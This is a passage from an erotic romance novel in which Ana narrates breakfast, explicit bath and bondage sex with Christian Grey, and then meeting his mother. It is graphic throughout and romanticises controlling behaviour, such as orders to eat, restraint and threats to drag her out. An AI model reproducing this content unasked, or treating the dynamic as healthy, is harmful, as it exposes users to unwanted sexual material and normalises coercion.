Nine + + +Light fills the room, coaxing me from deep sleep to wakefulness. I stretch out and open +my eyes. It’s a beautiful May morning, Seattle at my feet. Wow, what a view. Beside +me, Christian Grey is fast asleep. Wow, what a view. I’m surprised he’s still in bed. He’s +facing me, and I have an unprecedented opportunity to study him. His lovely face looks +younger, relaxed in sleep. His sculptured, pouty lips are parted slightly, and his shiny, +clean hair is a glorious mess. How could anyone look this good and still be legal? I re- +member his room upstairs... perhaps he’s not legal. I shake my head, so much to think +about. It’s tempting to reach out and touch him, but like a small child, he’s so lovely when +he’s asleep. I don’t have to worry about what I’m saying, what he’s saying, what plans he +has, especially his plans for me. + +I could gaze at him all day, but I have needs - bathroom needs. Slipping out of bed, I +find his white shirt on the floor and shrug it on. I walk through a door thinking that it might +be the bathroom, but I’m in a vast walk-in closet as big as my bedroom. Lines and lines +of expensive suits, shirts, shoes, and ties. How can anyone need this many clothes? I tut +with disapproval. Actually, Kate’s wardrobe probably rivals this. Kate! Oh no. I didn’t +think about her all evening. I was supposed to text her. Crap. I’m going to be in trouble. I +wonder briefly how she’s getting on with Elliot. + +Returning to the bedroom, Christian is still asleep. I try the other door. It’s the bath- +room, and it’s bigger than my bedroom. Why does one man need so much space? Two + + +sinks, I notice with irony. Given he doesn’t sleep with anyone, one of them can’t have +been used. + +I stare at myself in the gigantic mirror above the sinks. Do I look different? I feel dif- +ferent. I feel a little sore, if I’m honest, and my muscles - jeez it’s like I’ve never done any +exercise in my life. You don’t do any exercise in your life, my subconscious has woken. +She’s staring at me with pursed lips, tapping her foot. So you’ve just slept with him, given +him your virginity, a man who doesn’t love you. In fact, he has very odd ideas about you, +wants to make you some sort of kinky sex slave. + +ARE YOU CRAZY? She’s shouting at me. + +I wince as I look in the mirror. I am going to have to process all this. Honestly, fancy +falling for a man who’s beyond beautiful, richer than Croesus, and has a Red Room of Pain +waiting for me. I shudder. I’m bewildered and confused. My hair is its usual wayward +self. Just-fucked hair doesn’t suit me. I try and bring order to the chaos with my fingers +but fail miserably and give up - maybe I’ll find hair ties in my purse. + +I’m starving. I head back out to the bedroom. Sleeping beauty is still sleeping, so I +leave him and head for the kitchen. + +Oh no... Kate. I left my purse in Christian’s study. I fetch it and reach for my cell +phone. Three texts. + + +*RU OK Ana* +*Where RU Ana* +*Damn it Ana* + + +I call Kate. When she doesn’t answer, I leave her a groveling message to tell her I am +alive and have not succumbed to Bluebeard, well not in the sense she would be worried +about - or perhaps I have. Oh this is so confusing. I have to try and categorize and analyze +my feelings for Christian Grey. It’s an impossible task. I shake my head in defeat. I need +alone time, away from here to think. + +I find two welcome hair ties at the same time in my bag and quickly tie my hair in pig- +tails. Yes! The more girly I look, perhaps the safer I’ll be from Bluebeard. I take my iPod +out of the bag and plug my headphones in. There’s nothing like music to cook by. I slip it +into the breast pocket of Christian’s shirt, turn it up loud, and start dancing. + +Holy hell, I’m hungry. + +I am daunted by his kitchen. It’s so sleek and modern and none of the cupboards have +handles. It takes me a few seconds to deduce that I have to push the cupboard doors to +open them. Perhaps I should cook Christian breakfast. He was eating an omelet the other +day... urn, yesterday at the Heathman. Jeez, so much has happened since then. I check +in the fridge, where there are plenty of eggs, and decide I want pancakes and bacon. I set +about making some batter, dancing my way round the kitchen. + +Being busy is good. It allows a bit of time to think but not too deeply. Music blaring +in my ears also helps to stave off deep thought. I came here to spend the night in Christian +Grey’s bed, and managed it, even though he doesn’t let anyone in his bed. I smile, mission +accomplished. Big time. I grin. Big, big time, and I’m distracted by the memory of last +night. His words, his body, his lovemaking... I close my eyes as my body hums at the rec- + + +ollection, and my muscles contract deliciously deep in my belly. My subconscious scowls +at me... fucking - not lovemaking - she screams at me like a harpy. I ignore her, but deep +down I know she has a point. I shake my head to concentrate on the task at hand. + +There is a state-of-the-art range. I think I have the hang of it. I need somewhere to +keep the pancakes warm, and I start on the bacon. Amy Studt is singing in my ear about +misfits. This song used to mean so much to me, that’s because I’m a misfit. I have never +fitted in anywhere and now... I have an indecent proposal to consider from King Misfit +himself. Why is he this way? Nature or Nurture? It’s so alien to anything I know. + +I put the bacon under the grill, and while it’s cooking, I whisk some eggs. I turn, and +Christian is sitting on one of the bar stools at the breakfast bar, leaning on it, his face sup- +ported by his steepled hands. He’s still wearing the t-shirt he’s slept in. Just-fucked hair re- +ally, really suits him, as does his designer stubble. He looks both amused and bewildered. + +I freeze, flush, then gather myself and pull the headphones out of my ears, my knees weak +at the sight of him. + +“Good morning, Miss Steele. You’re very energetic this morning,” he says dryly. + +“I slept well,” I stutter my explanation. His lips try to mask his smile. + +“I can’t imagine why.” He pauses and frowns. “So did I, after I came back to bed.” + +“Are you hungry?” + +“Very,” he says with an intense look, and I don’t think he’s referring to food. + +“Pancakes, bacon, and eggs?” + +“Sounds great.” + +“I don’t know where you keep your placemats.” I shrug, trying desperately hard not to +look flustered. + +“I’ll do that. You cook. Would you like me to put some music on so you can continue +your... err... dancing?” + +I stare down at my fingers, knowing that I am turning puce. + +“Please, don’t stop on my account. It’s very entertaining.” His tone is one of wry +amusement. + +I purse my lips. Entertaining eh? My subconscious has doubled over in laughter at me. +I turn and continue to whisk the eggs, probably beating them a little harder than they need. +In a moment, he’s beside me. He gently pulls my pigtail. + +“I love these,” he whispers. “They won’t protect you.” Hmm Bluebeard... + +“How would you like your eggs?” I ask tartly. He smiles. + +“Thoroughly whisked and beaten,” he smirks. + +I turn back to the task at hand, trying to hide my smile. He’s hard to stay mad at. Es- +pecially when he’s being so uncharacteristically playful. He opens a drawer and takes out +two black slate placemats for the breakfast bar. I pour the egg mix into a pan, pull out the +bacon and turn it over, and put it back under the grill. + +When I turn back round, there is orange juice on the table, and he’s making coffee. + +“Would you like some tea?” + +“Yes, please. If you have some.” + +I find a couple of plates and place them in the warming tray of the range. Christian +reaches into a cupboard and pulls out some Twining’s English Breakfast tea. I purse my +lips. + + +“Bit of a foregone conclusion wasn’t I?” + +“Are you? I’m not sure we’ve concluded anything yet, Miss Steele,” he murmurs. + +What does he mean by that? Our negotiations? Our, err... relationship... whatever that +is? He’s still so cryptic. I serve up the breakfast onto the heated plates and lay them on the +placemats. I hunt in the refrigerator and find some maple syrup. + +I glance up at Christian, and he’s waiting for me to sit down. + +“Miss Steele.” He motions to one of the bar stools. + +“Mr. Grey.” I nod in acknowledgement. I climb up and wince slightly as I sit down. + +“Just how sore are you?” he asks as he sits down. His gray eyes dark. + +I flush. Why does he ask such personal questions? + +“Well, to be truthful, I have nothing to compare this to,” I snap at him. “Did you wish +to offer your commiserations?” I ask too sweetly. I think he’s trying to stifle a smile, but +I can’t be sure. + +“No. I wondered if we should continue your basic training.” + +“Oh.” I stare at him dumbfounded as I stop breathing and everything inside me clench- +es tight. Ooh... that’s so nice. I suppress my groan. + +“Eat, Anastasia.” My appetite has become uncertain again... more... more sex... yes +please. + +“This is delicious, incidentally.” He grins at me. + +I try a forkful of omelet but can barely taste it. Basic training! I want to fuck your +mouth. Does that form part of basic training? + +“Stop biting your lip. It’s very distracting, and I happen to know you’re not wearing +anything under my shirt which makes it even more distracting,” he growls. + +I dunk my teabag in the small pot that Christian has provided. My mind is in a whirl. + +“What sort of basic training did you have in mind?” I ask, my voice slightly too high, +betraying my wish to sound as natural, disinterested, and calm as I can with my hormones +wreaking havoc through my body. + +“Well, as you’re sore, I thought we could stick to oral skills.” + +I choke on my tea, and I stare at him, eyes wide and gaping. He pats me gently on the +back and passes me some orange juice. I cannot tell what he’s thinking. + +“That’s if you want to stay,” he adds. I glance up at him, trying to recover my equilib- +rium. His expression is unreadable. It’s so frustrating. + +“I’d like to stay for today. If that’s okay. I have to work tomorrow.” + +“What time do you have to be at work tomorrow?” + +“Nine.” + +“I’ll get you to work by nine tomorrow.” + +I frown. Does he want me to stay another night? + +“I’ll need to go home tonight - I need clean clothes.” + +“We can get you some here.” + +I don’t have spare cash to spend on clothes. His hand comes up, and he grasps my +chin, tugging it so my lip is released from the grip of my teeth. I’m not even aware I’ve +been biting my lip. + +“What is it?” he asks. + +“I need to be home this evening.” + + +His mouth is a hard line. + +“Okay, this evening,” he acquiesces. “Now eat your breakfast.” + +My thoughts and my stomach are in turmoil. My appetite has vanished. I stare at my +half-eaten breakfast. I’m just not hungry. + +“Eat, Anastasia. You didn’t eat last night.” + +“I’m really not hungry,” I whisper. + +His eyes narrow. + +“I would really like you to finish your breakfast.” + +“What is it with you and food?” I blurt. His brow knits. + +“I told you, I have issues with wasted food. Eat,” he snaps. His eyes are dark, pained. +Holy Crap. What is that all about? I pick up my fork and eat slowly, trying to chew. + +I must remember not to put so much on my plate if he’s going to be weird about food. His +expression softens as I carefully make my way through my breakfast. I note that he cleans +his plate. He waits for me to finish, and then he clears my plate. + +“You cooked, I’ll clear.” + +“That’s very democratic.” + +“Yes.” He frowns. “Not my usual style. After I’ve done this, we’ll take a bath.” + +“Oh, okay.” Oh my... I’d much rather have a shower. My cell rings, interrupting my +reverie. It’s Kate. + +“Hi.” I wander over to the glass doors of the balcony, away from him. + +“Ana, why didn’t you text last night?” She’s angry. + +“I’m sorry, I was overtaken by events.” + +“You’re okay?” + +“Yes, I’m fine.” + +“Did you?” She’s fishing for information. I roll my eyes at the expectation in her voice. +“Kate, I don’t want to talk over the phone.” Christian glances up at me. + +“You did... I can tell.” + +How can she tell? She’s bluffing, and I can’t talk about this. I’ve signed a damned +agreement. + +“Kate, please.” + +“What was it like? Are you okay?” + +“I’ve told you I’m okay.” + +“Was he gentle?” + +“Kate, please!” I can’t hide my exasperation. + +“Ana, don’t hold out on me, I’ve been waiting for this day for nearly four years.” + +“I’ll see you this evening.” I hang up. + +That is going to be one difficult square to circle. She’s so tenacious, and she wants +to know - in detail, and I can’t tell her because I’ve signed a - what was it called? NDA. +She’ll freak and rightly so. I need a plan. I head back to watch Christian move gracefully +around his kitchen. + +“The NDA, does it cover everything?” I ask tentatively. + +“Why?” he turns and gazes at me while putting the Twinings away. I flush. + +“Well, I have a few questions, you know, about sex.” I stare down at my fingers. “And +I’d like to ask Kate.” + + +“You can ask me.” + +“Christian, with all due respect.” My voice fades. I can’t ask you. I’ll get your biased, +kinky-as-hell, distorted world-view regarding sex. I want an impartial opinion. “It’s just +about mechanics. I won’t mention the Red Room of Pain.” + +He raises his eyebrows. + +“Red Room of Pain? It’s mostly about pleasure, Anastasia. Believe me,” he says. +“Besides,” his tone is harsher. “Your room-mate is making the beast with two backs with +my brother. I’d really rather you didn’t.” + +“Does your family know about your... urn predilection?” + +“No. It’s none of their business.” He saunters toward me until he’s standing in front +of me. + +“What do you want to know?” he asks, and raising his hand runs his fingers gently +down my cheek to my chin, tilting my head back so he can look directly into my eyes. I +squirm inwardly. I cannot lie to this man. + +“Nothing specific at the moment,” I whisper. + +“Well, we can start with - how was last night for you?” His eyes burn, filled with curi- +osity. He’s anxious to know. Wow. + +“Good,” I murmur. + +His lips lift slightly. + +“Me too,” he murmurs. “I’ve never had vanilla sex before. There’s a lot to be said +for it. But then, maybe it’s because it’s with you.” He runs his thumb across my lower lip. + +I inhale sharply. Vanilla sex? + +“Come, let’s have a bath.” He leans down and kisses me. My heart leaps and desire +pools way down low... way down there. + + +The bath is a white stone, deep, egg-shaped affair, very designer. Christian leans over and +fills it from the faucet on the tiled wall. He pours some expensive looking bath oil into the +water. It foams as the bath fills and smells of sweet sultry Jasmine. He stands and gazes at +me, his eyes dark, then peels his t-shirt off and casts it on the floor. + +“Miss Steele.” He holds his hand out. + +I’m standing in the doorway, wide-eyed and wary, my arms wrapped around myself. I +step forward while surreptitiously admiring his physique. He is just yummy. My subcon- +scious swoons and passes out somewhere in the back of my head. I take his hand, and he +bids me to step into the bath while I am still wearing his shirt. I do as I’m told. I’ll have to +get used to it if I’m going to take him up on his outrageous offer... if! The water is entic- +ingly hot. + +“Turn around, face me,” he orders, his voice soft. I do as I’m bid. He’s watching me +intently. + +“I know that lip is delicious, I can attest to that, but will you stop biting it?” he says +through clenched teeth. “You chewing it makes me want to fuck you, and you’re sore, +okay?” + +I gasp, automatically unlocking my lip, shocked. + + +“Yeah,” he challenges. “Got the picture.” He glares at me. I nod frantically. I had no +idea I could affect him so. + +“Good.” He reaches forward and takes my iPod out of the breast pocket, and he puts +it by the sink. + +“Water and iPods - not a clever combination,” he mutters. He reaches down, grasps +the hem of my white shirt, lifts it above my head, and discards it on the floor. + +He stands back to gaze at me. I’m naked for heaven’s sake. I flush crimson and stare +down at my hands, level with the base of my belly, and I desperately want to disappear into +the hot water and foam, but I know he won’t want that. + +“Hey,” he summons me. I peek up at him, and his head is cocked to one side. “Anasta- +sia, you’re a very beautiful woman, the whole package. Don’t hang your head like you’re +ashamed. You have nothing to be ashamed of, and it’s a real joy to stand here and gaze at +you.” He takes my chin in his hand and tilts my head up to reach his eyes. They are soft +and warm, heated even. Oh my. He’s so close. I could just reach up and touch him. + +“You can sit down now.” He halts my scattered thoughts, and I scoot down into the +warm, welcoming water. Ooh... it stings. Which takes me by surprise, but it smells heav- +enly too, and the initial smarting pain soon ebbs away. I lie back and briefly close my eyes, +relaxing in the soothing warmth. When I open them, he is gazing down at me. + +“Why don’t you join me?” I ask, bravely I think - my voice husky. + +“I think I will. Move forward,” he orders. + +He strips out of his PJ pants and climbs in behind me. The water rises as he sits and +pulls me against his chest. He places his long legs over mine, his knees bent and his ankles +level with mine, and he pulls his feet apart, opening my legs. I gasp in surprise. His nose +is in my hair and he inhales deeply. + +“You smell so good, Anastasia.” + +A tremor runs through my whole body. I am naked, in a bath with Christian Grey. + +He’s naked. If someone had told me I’d be doing this when I woke up in his hotel suite +yesterday, I would not have believed them. + +He reaches for a bottle of body wash from the built-in shelf beside the bath and squirts +some into his hand. He rubs his hands together, creating a soft, foaming lather, and he +closes his hands around my neck and starts to rub the soap into my neck and shoulders, +massaging firmly with his long, strong fingers. I groan. His hands on me feel good. + +“You like that?” I hear his smile. + +“Hmm.” + +He moves down my arms, then under them to my underarms washing gently. I’m so +glad Kate insisted I shave. His hands glide across to my breasts, and I inhale sharply as +his fingers encircle them and start kneading gently, taking no prisoners. My body bows +instinctively, pushing my breasts into his hands. My nipples are tender. Very tender, no +doubt from his less-than-delicate treatment of them last night. He doesn’t linger long and +glides his hands down to my stomach and belly. My breathing increases, and my heart is +racing. His growing erection presses against my behind. It’s such a turn-on knowing that +it’s my body making him feel this way. Ha... not your mind. My subconscious sneers. I +shake off the unwelcome thought. + + +He stops and reaches for a washcloth as I pant against him, wanting... needing. My +hands rest on his firm, muscular thighs. Squirting more soap on to the washcloth, he leans +down and washes between my legs. I hold my breath. His fingers skillfully stimulating +me through the cloth, it’s heavenly, and my hips start moving at their own rhythm, pushing +against his hand. As the sensations take over, I tilt my head back, my eyes rolling to the +back of my head, my mouth slack, and I groan. The pressure is building slowly, inexorably +inside me ... oh my. + +“Feel it, baby,” Christian whispers in my ear and very gently grazes my earlobe with +his teeth. “Feel it for me.” My legs are pinioned by his to the side of the bath, holding me +prisoner, giving him easy access to this most private part of myself. + +“Oh... please,” I whisper. I try to stiffen my legs as my body goes rigid. I am in a +sexual thrall to this man, and he doesn’t let me move. + +“I think you’re clean enough now,” he murmurs, and he stops. What! No! No! No! + +My breathing is ragged. + +“Why are you stopping?” I gasp. + +“Because I have other plans for you Anastasia.” + +What. . . oh my. . . but. . . I was. . . that’s not fair. + +“Turn around. I need washing, too,” he murmurs. + +Oh! Turning to face him, I’m shocked to find he has his erection firmly in his grasp. + +My mouth drops open. + +“I want you to become well acquainted, on first name terms if you will, with my favor- +ite and most cherished part of my body. I’m very attached to this.” + +It’s so big and growing. His erection is above the water line, the water lapping at his +hips. I glance up at him and come face to face with his wicked grin. He’s enjoying my +astounded expression. I realize that I’m staring. I swallow. That was inside me! It doesn’t +seem possible. He wants me to touch him. Hmm... okay, bring it on. + +I smile at him and reach for the body wash, squirting some soap onto my hand. I do as +he’s done, lathering the soap in my hands until they are foamy. I do not take my eyes off +his. My lips are parted to accommodate my breathing... very deliberately I gently bite my +bottom lip and then run my tongue across it, tracing where my teeth have been. His eyes +are serious and dark, and they widen as my tongue skims my lower lip. I reach forward +and place one of my hands around him, mirroring how he’s holding himself. His eyes close +briefly. Wow... feels much firmer than I expect. I squeeze, and he places his hand over +mine. + +“Like this,” he whispers, and he moves his hand up and down with a firm grip round +my fingers, and my fingers tighten around him. He closes his eyes again, and his breath +hitches in his throat. When he opens them again, his gaze is scorching molten gray. “That’s +right, baby.” + +He releases my hand, leaving me to continue alone, and closes his eyes as I move +up and down his length. He flexes his hips slightly into my hand and reflexively I grasp +him tighter. A low groan escapes from deep within his throat. Fuck my mouth... hmm. I +remember him pushing his thumb in my mouth and asking me to suck, hard. His mouth +drops open slightly as his breathing increases. I lean forward, while he has his eyes closed, +and place my lips around him and tentatively suck, running my tongue over the tip. + + +“Whoa... Ana.” His eyes fly open, and I suck harder. + +Hmm... he’s soft and hard at once, like steel encased in velvet, and surprisingly tasty +- salty and smooth. + +“Christ,” he groans, and he closes his eyes again. + +Moving down, I push him into my mouth. He groans again. Ha! My inner goddess +is thrilled. I can do this. I can fuck him with my mouth. I twirl my tongue around the tip +again, and he flexes his hips. His eyes are open now, blistering with heat. His teeth are +clenched as he flexes again, and I push him deeper into my mouth, supporting myself on +his thighs. I feel his legs tense beneath my hands. He reaches up and grabs my pigtails +and starts to really move. + +“Oh... baby... that feels good,” he murmurs. I suck harder, flicking my tongue across +the head of his impressive erection. Wrapping my teeth behind my lips, I clamp my mouth +around him. His breath hisses between his teeth, and he groans. + +“Jesus. How far can you go?” he whispers. + +Hmm. . . I pull him deeper into my mouth so I can feel him at the back of my throat and +then to the front again. My tongue swirls around the end. He’s my very own Christian +Grey flavor popsicle. I suck harder and harder, pushing him deeper and deeper, swirling +my tongue round and round. Hmm. . . I had no idea giving pleasure could be such a turn-on, +watching him writhe subtly with carnal longing. My inner goddess is doing the merengue +with some salsa moves. + +“Anastasia, I’m going to come in your mouth,” his breathy tone is warning. “If you +don’t want me to, stop now.” He flexes his hips again, his eyes are wide, wary, and filled +with salacious need - need for me. Need for my mouth... oh my. + +Holy crap. His hands are really gripping my hair. I can do this. I push even harder +and, in a moment of extraordinary confidence, I bare my teeth. It tips him over the edge. + +He cries out and stills, and I can feel warm, salty liquid oozing down my throat. I swallow +quickly. Ugh... I’m not sure about this. But one look at him, and he’s come apart in the +bath because of me, and I don’t care. I sit back and watch him, a triumphant, gloating smile +tugging at the corners of my lips. His breathing is ragged. Opening his eyes, he glares at +me. + +“Don’t you have a gag reflex?” he asks, astonished. “Christ, Ana... that was... good, +really good, unexpected though.” He frowns. “You know, you never cease to amaze me.” + +I smile and consciously bite my lip. He eyes me speculatively. + +“Have you done that before?” + +“No.” And I can’t help the small tinge of pride in my denial. + +“Good,” he says complacently and, I think, relieved. “Yet another first, Miss Steele.” + +He looks appraisingly at me. “Well, you get an A in oral skills. Come, let’s go to bed, I +owe you an orgasm.” + +Orgasm! Another one! + +Quickly, he clambers out of the bath, giving me my first full glimpse of the Adonis, di- +vinely formed, that is Christian Grey. My inner goddess has stopped dancing and is staring +too, mouth open and drooling slightly. His erection tamed, but still substantial... wow. He +wraps a small towel around his waist, covering the essentials, and holds out a larger fluffy +white towel for me. Climbing out of the bath, I take his proffered hand. He wraps me in + + +the towel, pulls me into his arms, and kisses me hard, pushing his tongue into my mouth. + +I long to reach round and embrace him... touch him... but he has my arms trapped in the +towel. I’m soon lost in his kiss. He cradles my head, his tongue exploring my mouth, and +I get a sense he’s expressing his gratitude - maybe - for my first blowjob? Whoa? + +He pulls away, his hands on either side of my face, staring intently into my eyes. He +looks lost. + +“Say yes,” he whispers fervently. + +I frown, not understanding. + +“To what?” + +“Yes to our arrangement. To being mine. Please, Ana,” he whispers, emphasizing the +last word and my name, pleading. He kisses me again, sweetly, passionately, before he +stands back and stares at me, blinking slightly. He takes my hand and leads me back to +his bedroom, leaving me reeling, so I follow him meekly. Stunned. He really wants this. + +In his bedroom, he stares down at me as we stand by his bed. + +“Trust me?” he asks suddenly. I nod, wide-eyed with the sudden realization that I do +trust him. What’s he going to do to me now? An electric thrill hums through me. + +“Good girl,” he breathes, his thumb brushing my bottom lip. He steps away into his +closet and comes back with a silver-grey silk woven tie. + +“Knit your hands together in front of you,” he orders as he peels the towel off me and +throws it on the floor. + +I do as he asks, and he binds my wrists together with his tie, knotting it firmly. His +eyes are bright with wild excitement. He tugs at the binding. It’s secure. Some boy scout +he must have been to learn these knots. What now? My pulse has gone through the roof, +my heart beating a frantic tattoo. He runs his fingers down my pigtails. + +“You look so young with these,” he murmurs and moves forward. Instinctively, I move +back until I feel the bed against the back of my knees. He drops his towel, but I can’t take +my eyes off his face. His expression is ardent, full of desire. + +“Oh, Anastasia, what shall I do to you?” he whispers as he lowers me on to the bed, +lying beside me, and raising my hands above my head. + +“Keep your hands up here, don’t move them, understand?” His eyes burn into mine, +and I’m breathless from their intensity. This is not a man I want to cross... ever. + +“Answer me,” he demands, his voice soft. + +“I won’t move my hands.” I’m breathless. + +“Good girl,” he murmurs and deliberately licks his lips slowly. I’m mesmerized by +his tongue as it sweeps slowly over his upper lip. He’s staring into my eyes, watching me, +appraising. He leans down and plants a chaste, swift kiss on my lips. + +“I’m going to kiss you all over, Miss Steele,” he says softly, and he cups my chin, push- +ing it up giving him access to my throat. His lips glide down my throat, kissing, sucking, +and nipping, to the small dip at the base of my neck. My body leaps to attention... every- +where. My recent bath experience has made my skin hyper-sensitive. My heated blood +pools low in my belly, between my legs, right down there. I groan. + +I want to touch him. I move my hands and rather awkwardly, given I’m restrained, feel +his hair. He stops kissing me and glares up at me, shaking his head from side to side, tutting +as he does. He reaches for my hands and places them above my head again. + + +“Don’t move your hands, or we just have to start all over again,” he scolds me mildly. +Oh, he’s such a tease. + +“I want to touch you.” My voice is all breathy and out of control. + +“I know,” he murmurs. “Keep your hands above your head,” he orders, his voice +forceful. + +He cups my chin again and starts to kiss my throat as before. Oh... he’s so frustrating. +His hands run down my body and over my breasts as he reaches the dip at the base of my +neck with his lips. He swirls the tip of his nose around it then begins a very leisurely cruise +with his mouth, heading south, following the path of his hands, down my sternum to my +breasts. Each one is kissed and nipped gently and my nipples tenderly sucked. Holy crap. +My hips start swaying and moving of their own accord, grinding to the rhythm of his mouth +on me, and I’m desperately trying to remember to keep my hands above my head. + +“Keep still,” he warns, his breath warm against my skin. Reaching my navel, he dips +his tongue inside, and then gently grazes my belly with his teeth. My body bows off the +bed. + +“Hmm. You are so sweet, Miss Steele.” His nose glides along the line between my +belly and my pubic hair, biting me gently, teasing me with his tongue. Sitting up suddenly, +he kneels at my feet, grasping both my ankles and spreading my legs wide. + +Holy shit. He grabs my left foot, bends my knee, and brings my foot up to his mouth. +Watching and assessing my every reaction, he tenderly kisses each of my toes then bites +each one of them softly on the pads. When he reaches my little toe, he bites harder, and I +convulse, whimpering. He glides his tongue up my instep - and I can no longer watch him. +It’s too erotic. I’m going to combust. I squeeze my eyes shut and try to absorb and man- +age all the sensations he’s creating. He kisses my ankle and trails kisses up my calf to my +knee, stopping just above. He then starts on my right foot, repeating the whole, seductive, +mind-blowing process. + +“Oh, please,” I moan as he bites my little toe, the action resonating deep in my belly. + +“All good things, Miss Steele,” he breathes. + +This time he doesn’t stop at my knee, he continues up the inside of my thigh, pushing +my thighs apart as he does. And I know what he’s going to do, and part of me wants to +push him off because I’m mortified and embarrassed. He’s going to kiss me there! I know +it. And part of me is glorying in the anticipation. He turns to my other knee and kisses +his way up my thigh, kissing, licking, sucking, and then he’s between my legs, running his +nose up and down my sex, very softly, very gently. I writhe... oh my. + +He stops, waiting for me to calm. I do and raise my head to gaze at him, my mouth +open as my pounding heart struggles to come out. + +“Do you know how intoxicating you smell, Miss Steele?” he murmurs, and keeping his +eyes on mine, he pushes his nose into my pubic hair and inhales. + +I flush scarlet, everywhere, feeling faint, and I instantly close my eyes. I can’t watch +him do that! + +He blows gently up the length of my sex. Oh fuck... + +“I like this.” He qently tuqs at my pubic hair. “Perhaps we’ll keep this.” + +“Oh... please,” I beg. + +“Hmm, I like it when you beg me, Anastasia.” + + +I groan. + +“Tit for tat is not my usual style, Miss Steele,” he whispers as he gently blows up and +down me. “But you’ve pleased me today, and you should be rewarded.” I hear the wicked +grin in his voice, and while my body is singing from his words, his tongue starts to slowly +circle my clitoris as his hands hold down my thighs. + +“Aargh!” I moan as my body bows and convulses at the touch of his tongue. + +He swirls his tongue round and round, again and again, keeping up the torture. I’m +losing all sense of self, every atom of my being concentrating hard on that small, potent +powerhouse at the apex of my thighs. My legs go rigid, and he slips his finger inside me, +and I hear his growling groan. + +“Oh, baby. I love that you’re so wet for me.” + +He moves his finger in a wide circle, stretching me, pulling at me, his tongue mirroring +his actions, round and round, I groan. It is too much... My body begs for relief, and I can +no longer deny it. I let go, losing all cogent thought as my orgasm seizes me, wringing my +insides again and again. Holy fuck. I cry out, and the world dips and disappears from view +as the force of my climax renders everything null and void. + +I am panting and vaguely hear the rip of foil. Very slowly he eases into me and starts +to move. Oh... my. The feeling is sore and sweet, and bold and gentle all at once. + +“How’s this?” he breathes. + +“Fine. Good,” I breathe. And he really starts to move, fast, hard, and large, thrusting +into me over and over, implacable, pushing me and pushing me until I am close to the edge +again. I whimper. + +“Come for me, baby.” His voice is harsh, hard, raw at my ear, and I explode around him +as he pounds rapidly into me. + +“Thank fuck,” he whispers, and he thrusts hard once more and groans as he reaches his +climax, pressing himself into me. Then he stills, his body rigid. + +Collapsing on top of me, I feel his full weight forcing me into the mattress. I pull my +tied hands over his neck and hold him the best I can. I know in that moment that I would +do anything for this man. I am his. The wonder that he’s introduced me to, it’s beyond +anything I could have imagined. And he wants to take it further, so much further, to a place +I can’t, in my innocence, even imagine. Oh... what to do? + +He leans up on his elbows and stares down at me, gray eyes intense. + +“See how good we are together,” he murmurs. “If you give yourself to me, it will be +so much better. Trust me, Anastasia, I can take you places you don’t even know exist.” + +His words echo my thoughts. He strokes his nose against mine. I am still reeling from my +extraordinary physical reaction to him, and I gaze up at him blankly, grasping for a coher- +ent thought. + +Suddenly we both become aware of voices in the hall outside his bedroom door. It +takes a moment to process what I can hear. + +“But if he’s still in bed, then he must be ill. He’s never in bed at this time. Christian +never sleeps in.” + +“Mrs. Grey, please.” + +“Taylor. You cannot keep me from my son.” + +“Mrs. Grey, he’s not alone.” + + +“What do you mean he’s not alone?” + +“He has someone with him.” + +“ Oh... ” Even I hear the disbelief in her voice. + +Christian blinks rapidly, staring down at me, wide-eyed with humored horror. +“Shit! It’s my mother.” + + +Chapter Ten + + +He pulls out of me suddenly. I wince. He sits up on the bed and throws the used condom +in a wastebasket. + +“Come on, we need to get dressed - that’s if you want to meet my mother.” He grins, +leaps up off the bed, and pulls on his jeans, no underwear! I struggle to sit up as I’m still +tethered. + +“Christian - I can’t move.” + +His grin widens, and leaning down, he undoes the tie. The woven pattern has made an +indented pattern around my wrists. It’s... sexy. He gazes at me. He’s amused, his eyes +dancing with mirth. He kisses my forehead quickly and beams at me. + +“Another first,” he acknowledges, but I have no idea what he’s talking about. + +“I have no clean clothes in here.” I am filled with sudden panic, and considering what +I’ve just experienced, I’m finding the panic overwhelming. His mother! Holy crap. I +have no clean clothes, and she’s practically walked in on us in flagrante delicto. “Perhaps +I should stay here.” + +“Oh, no, you don’t,” Christian threatens. “You can wear something of mine.” He’s +slipped on a white t-shirt and runs his hand through his just-fucked hair. In spite of my +anxiety, I lose my train of thought. Will I ever get used to looking at this beautiful man? + +His beauty is derailing. + + +“Anastasia, you could be wearing a sack and you’d look lovely. Please don’t worry. + +I’d like you to meet my mother. Get dressed. I’ll just go and calm her down.” His mouth +presses into a hard line. “I will expect you in that room in five minutes, otherwise I’ll come +and drag you out of here myself in whatever you’re wearing. My t-shirts are in this drawer. +My shirts are in the closet. Help yourself.” He eyes me speculatively for a moment, then +leaves the room. + +Holy shit. Christian’s mother. This is so much more than I bargained for. Perhaps +meeting her will help put a little part of the jigsaw in place. Might help me understand why +Christian is the way he is. . . Suddenly, I want to meet her. I pull my shirt off the floor, and +I’m pleased to discover that it has survived the night well with hardly any creases. I find +my blue bra under the bed and dress quickly. But if there’s one thing I hate, it’s not wearing +clean panties. I rifle through Christian’s chest of drawers and come across his boxer briefs. +After pulling on a pair of tight gray Calvin Kleins, I tug on my jeans and my Converse. + +Grabbing my jacket, I dash into the bathroom and stare at my too-bright eyes, my +flushed face - and my hair! Holy crap... just-fucked pigtails do not suit me either. I hunt +in the vanity unit for a brush and find a comb. It will have to do. A ponytail is the only +answer. I despair at my clothes. Maybe I should take Christian up on his offer of clothes. + +My subconscious purses her lips and mouths the word ‘ho’. I ignore her. Struggling into +my jacket, pleased that the cuffs cover the tell-tale patterns from his tie, I take a last anxious +glance at myself in the mirror. This will have to do. I make my way into the main living +room. + +“Here she is.” Christian stands from where he’s lounging on the couch. + +His expression is warm and appreciative. The sandy-haired woman beside him turns +and beams at me, a full megawatt smile. She stands too. She’s impeccably attired in a +camel-colored fine knit sweater dress with matching shoes. She looks groomed, elegant, +beautiful, and inside I die a little, knowing I look such a mess. + +“Mother, this is Anastasia Steele. Anastasia, this is Grace Trevelyan-Grey.” + +Dr. Trevelyan-Grey holds her hand out to me. T... for Trevelyan? + +“What a pleasure to meet you,” she murmurs. If I’m not mistaken, there is wonder and +maybe stunned relief in her voice and a warm glow in her hazel eyes. I grasp her hand, and +I can’t help but smile, returning her warmth. + +“Dr. Trevelyan-Grey,” I murmur. + +“Call me Grace,” she grins, and Christian frowns. “I am usually Dr. Trevelyan, and +Mrs. Grey is my mother-in-law.” She winks. “So how did you two meet?” She looks ques- +tioningly at Christian, unable to hide her curiosity. + +“Anastasia interviewed me for the student paper at WSU because I’m conferring the +degrees there this week.” + +Double crap. I’d forgotten that. + +“So you are graduating this week?” Grace asks. + 